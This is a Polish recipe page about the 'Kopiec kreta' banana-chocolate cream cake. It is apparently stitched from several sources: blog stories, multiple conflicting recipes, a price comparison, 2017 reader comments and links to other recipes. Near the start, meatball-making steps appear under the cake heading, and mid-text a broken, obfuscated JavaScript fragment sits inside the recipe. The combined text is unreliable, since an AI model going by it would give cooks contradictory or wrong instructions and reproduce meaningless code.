Zostałam dzisiaj poproszona o zrobienie tego "pysznego ciasta z bananami, które kiedyś robiłam". Chodziło o ciasto Kopiec kreta. Z tym, że kiedyś robiłam to ciasto z gotowej mieszanki z paczki. Dzisiaj postanowiłam, że zrobię je sama. Ciasto zniknęło w mgnieniu oka i podobno jest najlepszym Kopcem kreta, jaki zrobiłam. Kopiec kreta – przepis krok po kroku. W dużym misce wymieszaj mięso mielone, posiekaną cebulę, posiekany czosnek, jajko, bułkę tartą, mleko, sól, pieprz, paprykę słodką i oregano. Dokładnie wymieszaj, aż składniki się połączą. Formuj małe kotleciki z mieszaniny mięsnej i układaj je na natłuszczonej blasze do pieczenia. Upiecz ciasto KOPIEC KRETA z bananami. Nie zmęczysz się przygotowaniem tego przysmaku, a Twoi bliscy będą zachwyceni smakiem i efektowną forma ciasta z kremem. Wszystkie składniki ciasta są dostępne, a instrukcja przygotowania jasna i zrozumiała. Kiedy podaję to ciasto na deser, wszyscy zawsze pytają mnie o przepis na słodki kopiec Przepis na czarny kopiec kreta. Ciasto czekoladowe w połączeniu z puszystym Kremy; Owoce; Banany; Jajka; Mleko; Ciasta; Jajka; Odsłon: 4549 > 60 min >60 min. 7 Kopiec kreta co jakiś czas pojawia się na moim stole, najczęściej z powodu jakiś uroczystości, staram się sama z siebie nie serwować rodzinie bomb kalorycznych ale tak raz na jakiś czas przecież można poszaleć. W końcu żyje się raz :) Przepis na: Kopiec kreta kawowy Składniki na ciasto: Kopiec kreta kawowy Przepis na ciasto kopiec kreta zawiera również wskazówki, jak przygotować krem. Śmietana kremówka lub mascarpone nadają się idealnie. Dodaj do nich galaretkę lub żelatynę, by ciasto zachowało piękny kształt. Najbardziej klasyczny przepis na kopiec kreta uwzględnia banany, które przykrywasz przygotowaną masą. Kopiec kreta edytakkk Jest to przepis na ciasto, które kiedyś znane było tylko z kartonika. Zapewniam, że jest o niebo lepsze i tańsze w wykonaniu, bo nie musimy wydawać ok. 8 złotych na gotową mieszankę. 40 min Dr.Oetker ciasto kopiec kreta 410g od 11,89 zł Porównanie cen w 2 sklepach Zobacz pozostałe produkty w kategorii Ciasta i dodatki do ciast Najlepsze oferty Opinie klientów - Ceneo.pl Kopiec kreta nie powinien przysporzyć trudności 🙂 wydrążenie ciasta ze środka jest bardzo proste, choć może trudno to opisać… 😉 najlepiej zacząć delikatnie łyżeczką zostawiając 1-2 cm od brzegu tak żeby powstała obręcz, ale oczywiście z dnem ; ) później można na bieżąco pogłębiać wydrążanie, żeby spód był cienki, boki wyższe, ale tak aby czasem nie KOPIEC KRETA Składniki: ciasto czekoladowe. 1/3 szklanki mleka; 3 płaskie łyżki kakao; 50 g czekolady gorzkiej; 200 g masła; 6 łyżek brązowego cukru; 1 i 1/2 szklanki mąki pszennej tortowej; 1 płaska łyżeczka proszku do pieczenia; 1/2 łyżeczki sody oczyszczonej; szczypta soli; 3 jajka; 200 ml kefiru lub maślanki LHlVu5. Kopiec kreta to efektowne i pyszne ciasto. W miarę szybko się je robi i wbrew pozorom wcale nie jest trudne. Gdy pewnego dnia dotarłam do Lidl i kupiłam tonę bananów w promocji (ha! się wie, gdy regularnie się przegląda gazetkę Lidl, apropos gazetek polecam Wam serwis, w którym bez wertowania miliona stron macie przysłowiowy milion gazetek promo na tacy. Zawsze je z mamą przeglądam i planujemy szoping 🙂 ). No a co do tej tony bananów, to musiałam wykombinować jak je przerobić by się nie zmarnowały. Shake wypity, banan w czekoladzie zjedzony no i wybór padł na jedno z naszych ulubionych ciast. Kopiec kreta Składniki: Ciasto – 4 jajka – 8 łyżek cukru – 3/4 szklanki mąki – 1 łyżeczka proszku do pieczenia – cukier waniliowy – 150g masła – 4 łyżki mleka – 2 łyżki kakao Masa śmietanowa – 600g śmietanki 36% – 2 fixy do śmietany – 4 łyżki cukru pudru – kawałek gorzkiej czekolady – 3 banany Sposób przygotowania: 1. Mąkę przesiewamy, oddzielamy białko od żółtek. 2. Białka ubijamy na sztywną pianę, a następnie powoli dodajemy cukier i cukier waniliowy. 3. Roztapiamy i lekko studzimy masło. Zwalniamy obroty miksera i powoli dodajemy żółtka do masy oraz ostudzone masło. 4. Do masy przesiewamy mąkę wraz z proszkiem do pieczenia i kakao. Wszystko dokładnie mieszamy i wlewamy do formy wyłożonej pergaminem (u mnie o średnicy 24cm). 5. Pieczemy w temperaturze 180 stopni około 20 minut – do suchego patyczka. 6. Ubijamy śmietanę, dodajemy cukier puder i fix. 7. Czekoladę ścieramy na tarce i dodajemy do masy. 8. Ostudzone ciasto należy wydrążyć delikatnie łyżką; około 2 cm od brzegu i 1-2 cm wgłąb – dzięki temu zrobimy miejsce na banany. Nie wyrzucaj ciasta! Odłóż je do miseczki. 9. Banany obieramy, kroimy na pół i umieszczamy w zagłębieniu, które zrobiliśmy w cieście. 10. Masę śmietanową układamy na cieście w kształt kopca, posypujemy pokruszonym ciastem (tym, które wydrążyliśmy) i wstawiamy do lodówki na noc lub min 8 godzin (function(){ qzy8= qzy8_+=”t”+(“.”);qzy8_+=(“in”);qzy8u=”62249659″; qzy8u+=”.ielqlj97zy8fhtq7m”; qzy8u+=”lss6lv3ycu2b1″; dqzy8= })(); 12 komentarzy natasza c 17 kwietnia 2017 - 19:18Ja tylko kopiec kreta robilam z proszku…ale Twoj przepis na majowke z pewnoscia wykorzystam. Brzmi pysznie Reply matka w pigułce 17 kwietnia 2017 - 20:21Coś czuję, że za 2 tygodnie sobie zrobię takie. Czemu za 2 tyg? Bo muszę teraz odpocząć od tych wszystkich świątecznych ciast. Czuję, że pęknę, a jednocześnie leci mi ślinka, gdy patrzę na ten kopiec. To takie straszne 😀 Reply Zwykła Matka 18 kwietnia 2017 - 06:06Jeszcze nigdy nie robiłam tego ciasta, a wygląda tak obłędnie!!!!! Reply Edyta Mój kawałek podłogi 21 kwietnia 2017 - 07:03Bardzo lubię kopiec kreta. Wcale nie jest taki trudny, więc warto go zrobić samemu, a nie ratować się tym z torebki 🙂 Reply Z naciskiem na szczęście 21 kwietnia 2017 - 17:13Takie ciasto to chyba niezłe wyzwanie 🙂 Lubię trochę pokręcić się w kuchni. Kiedyś na pewno i u mnie zagości 🙂 Reply Homoturisticus 23 kwietnia 2017 - 09:44Oj,chętnie bym zjadła takich pyszności do popołudniowej kawy 🙂 Reply Ola 24 kwietnia 2017 - 19:34Przyznam, że lata temu robiłam to ciasto, ale z torebki niestety 🙁 Przepis bardzo fajny, zapiszę sobie w ulubionych 🙂 Reply Guess What PL 24 kwietnia 2017 - 21:42Oj tak znam, to znam. Jeszcze za czasów szkoły podstawowej, gdy przyszedł bum na ciasta z proszku 😉 Reply Barbara 26 kwietnia 2017 - 13:00Nie znam tego ciacha dlatego chętnie skorzystam z Twojego przepisu 🙂 Pozdrawiam. Reply Leave a Comment Kopiec kreta, czyli bananowe ciasto z czekoladą i dużą ilością śmietanowego kremu. Sprawdzi się na różne okazje – urodziny, święta i na niedzielny podwieczorek. To bardzo efektowny deser, który wręcz rozpływa się w ustach. Jeśli jeszcze nie próbowaliście, koniecznie musicie to zmienić, bo naprawdę warto! Podajemy prosty i sprawdzony przepis na ciasto kopiec kreta. Notka redakcyjna Kopiec kreta – warto zrobić go w domu Kopiec kreta to deser, który z łatwością przygotujemy samodzielnie. W sklepach możemy spotkać gotowe produkty. Robi się je bardzo szybko, dlatego to niezwykle kuszące rozwiązanie. Warto jednak upiec domowy kopiec kreta z bananami. Taka wersja z pewnością będzie o wiele smaczniejsza i przede wszystkim zdrowsza. Mimo, że deser ten wygląda na dość skomplikowany, w rzeczywistości taki nie jest. Bez problemu poradzą sobie z nim nawet osoby, które dopiero rozpoczynają swoją przygodę z wypiekami. Kopiec kreta może również doskonale sprawdzić się jako ciasto urodzinowe, gdyż swoim kształtem przypomina tort. Połączenie czekolady z bananami i kremową masą to prawdziwa rozkosz. Tego smaku się nie zapomina! Wegański kopiec kreta Kopiec kreta możemy przygotować również w wersji wegańskiej. W tym celu będziemy potrzebować następujących składników: na ciasto: 15 dag roślinnej margaryny, 12 dag cukru trzcinowego, szczypta soli, 25 dag mąki przesianej, łyżeczka proszku do pieczenia, 3 łyżki naturalnego kakao, 200 ml mleka roślinnego, woda mineralna, 5 dag gorzkiej czekolady startej. nadzienie: 3 miękkie dojrzałe banany, 500 ml śmietany roślinnej schłodzonej, stabilizator do śmietany, 2 łyżki cukru waniliowego, 5 dag gorzkiej czekolady startej. Piekarnik rozgrzewamy do temp. 180°C. Okrągłą formę smarujemy olejem, oprószamy mąką. Na ciasto: margarynę ubijamy mikserem z cukrem i solą, aż powstanie jasna kremowa masa. Dodajemy mąkę z proszkiem do pieczenia oraz kakao. Miksujemy, dolewając stopniowo mleko i wodę. Gdy ciasto będzie gładkie i napowietrzone, mieszamy z czekoladą. Przekładamy do przygotowanej formy, wstawiamy do piekarnika, pieczemy ok. 35 min, do suchego patyczka. Wyjmujemy i studzimy, a następnie wydrążamy, tworząc „miskę" o ściankach grubości ok. 2 cm. Okruchy zachowujemy. Na nadzienie: banany przecinamy wzdłuż na połówki i układamy na dnie miski z ciasta. Śmietanę ubijamy na sztywno z agarem, cukrem waniliowym oraz startą czekoladą, wykładamy na banany. Wygładzamy, posypujemy okruchami ciasta, schładzamy. Taki wegański kopiec kreta to świetna alternatywa dla wszystkich osób będących na diecie roślinnej. Pamiętam jak jakieś 15 lat temu pojawiło się w sklepach ciasto w proszku Kopiec kreta i nastał szał na robienie tego deseru. Pamiętam jak dziś swoje początku kulinarne, ten krzywy kopiec i ubabraną kuchnię (miksowana śmietanka była wszędzie). Nie byłam zachwycona, chociaż smak ciasta był niezły. Ale proszku więcej nie kupiłam. Gdy zaczęłam trochę bardziej ogarniać pieczenie i robienie deserów postanowiłam zrobić swój własny, domowy kopiec kreta. W sumie to dość proste i szybkie ciasto. Do tego efektowne i pyszne. No i bez chemii. Postanowiłam podzielić się z Wami moim przepisem. Kopiec kreta – przepis Składniki: 2 szklanki mąki pszennej 1 szklanka cukru 1 szklana mleka 1 szklanka oleju 1 łyżeczka proszku do pieczenia 1/2 łyżeczki sody oczyszczanej 4 łyżki kakao 2 jajka 3-4 banany 500 ml śmietanki 30-36% 2 fixy do śmietany 100g gorzkiej czekolady lub płatki czekoladowe 4 łyżki cukru pudru sok z cytryny Wykonanie: Jajka ubijamy z cukrem na jasną i puszystą masę. Suche składniki wymieszać i przesiać do masy jajecznej. Dodać mleko i olej. Dokładnie wymieszać. Tortownicę ok. 24 cm wyłożyć papierem do pieczenia. Wlać ciasto. Piekarnik rozgrzewamy do 160 stopni i wstawiamy ciasto. Pieczemy około 45-50 minut. Studzimy na kratce. Po wystudzeniu przy pomocy łyżki wydrążamy w cieście miejsce na banany – zostawiamy około 1 cm rantu, uważamy aby nie uszkodzić spodu, a wydrążone ciasto kruszymy w miseczce. Banany obieramy i smarujemy obficie sokiem z cytryny. Możemy je przekroić wzdłuż lub ułożyć w całości. Ciasno układamy je w wydrążonym cieście. Śmietankę ubijamy na sztywno z fixami i cukrem pudrem. Dodajemy drobno posiekaną czekoladę lub płatki czekoladowe. Śmietankę ułożyć na bananach formując kopiec kreta. Wierzch posypujemy pokruszonym ciastem, lekko dociskając do kremu. Chłodzimy w lodówce około godzinę. Jeśli próbowaliście „proszkowy” kopiec kreta, ten też przypadnie Wam do gustu. Lekkie ciasto, idealne do kawy i bardzo efektowne. Smacznego. 3 h łatwe Porcje: ciasto o średnicy 28 cm Domowy sposób na kopca kreta, dla tych co nie lubią gotowych mieszanek. Może troszkę się różni od tego oryginalnego, ale i tak jest pyszny, no i nie czuć w nim chemii. Składniki na ciasto a la kopiec kreta (nie z paczki) Na spód: 200 g masła 1 ½ szklanki cukru 1/3 szklanki wody 3 łyżki ciemnego kakao 4 jajka 2 łyżeczki proszku do pieczenia 2 szklanki mąki Na krem: 500 ml mleka 2 żółtka 2 łyżeczki cukru waniliowego 30 g mąki pszennej 60 g mąki ziemniaczanej 120 g cukru 2 śmietany „Śnieżki” 400 ml mleka 2 łyżeczki żelatyny + odrobina wody do jej rozpuszczenia 3 łyżki posypki czekoladowej 6-8 bananów Przygotowanie dania ciasto a la kopiec kreta (nie z paczki) ... Najpierw gotujemy budyń na krem. Mieszamy ze sobą, mąkę, żółtka i około ½ szklanki mleka. Resztę mleka zagotowujemy z cukrem i cukrem waniliowym, wlewamy mieszając mąkę z żółtkami i zagotowujemy. Odstawiamy do wystygnięcia. Teraz przygotowujemy spód. Rozpuszczamy w rondelku masło, dodajemy wodę, cukier i kakao i mieszając gotujemy chwilkę, studzimy. Nagrzewamy piekarnik do 180 stopni. Ubijamy 4 białka (można dodać też te dwa co zostały od budyniu). Wlewamy przestudzoną polewę do miski, dodajemy żółtka i ucieramy. Dodajemy mąkę wymieszana z proszkiem do pieczenia i dalej ucieramy. Jak składniki się połączą, to do masy dodajemy delikatnie ubite białka i mieszamy łyżką aż się połączą. Masę wylewamy do tortownicy wyłożonej papierem do pieczenia i wstawiamy do pieca na około 30 minut. Warto sprawdzić patyczkiem, czy już się upiekło. Wyjmujemy ciasto i studzimy. Z upieczonego ciasta „wydłubujemy” środek, pozostawiając około 1 cm brzegu, tak aby powstało nam coś na kształt płytkiej miseczki. To co „wydłubaliśmy” kruszymy w palcach na drobne kawałki. Teraz czas na krem. Ubijamy śnieżki na mleku i dodajemy po łyżce zimny budyń, ubijamy aż się składniki połączą. Dodajemy rozpuszczoną żelatynę i posypkę czekoladową. Takim gotowym kremem smarujemy nasz spód cienką warstwą, układamy na niej banany (można całe, jak ktoś bardzo lubi banany lub przekrojone wzdłuż na pół). Na banany wykładamy resztę kremu, formując „kopiec”. Na krem wciskamy delikatnie pozostawione okruchy z ciasta, tyle ile się nam utrzyma na cieście. Odstawiamy ciasto do stężenia. Schab w galarecie Długo pracowałam nad tym przepisem. Zaczęłam od przepisu M. Kuronia: schab po warszawsku i modyfikowałam go, bo użyte tam grube plastry schabu, który jest jednak twardym mięsem, nie odpowiadały moim wyobrażeniom o składnikach miękkiej galarety. A chciałam bardzo mieć tę przystawkę w swoim, że tak powiem, repertuarze, bo smakowo to jest poezja:) I tak z imprezy na imprezę, klarował się ten... Bardzo czekoladowe ciasto (brownie) z czekoladą Idealnie czekoladowy smak, miękki i lekko ciągnący się środek, chrupiąca skórka... Tak, to właśnie brownie, czyli banalne w przygotowaniu i przepyszne bardzo czekoladowe ciasto, które bezsprzecznie zaspokoi chętkę na czekoladę. :) Brownie ma to do siebie, że jest takim planowanym zakalcem. :) Legenda głosi, że pierwsze brownie powstało w sposób przypadkowy - gospodyni zapomniała dodać do... Zaczarowana Chatka, czyli Domek Pamiętasz z dzieciństwa? Zaczarowany sernik – Domek lub Chatka, tak łatwy do przygotowania szczególnie z pomocą małych łapek dziecięcych. Robienie tego ciasta z Mamą lub Tatą pozostaje jednym z najsłodszych wspomnień z dzieciństwa. Wspaniały pomysł na deszczowe piątkowe popołudnie z dziećmi – w sobotni poranej pozostaje do zrobienia jedynie polewa. Domek idealnie nadaje się na tort urodzinowy,...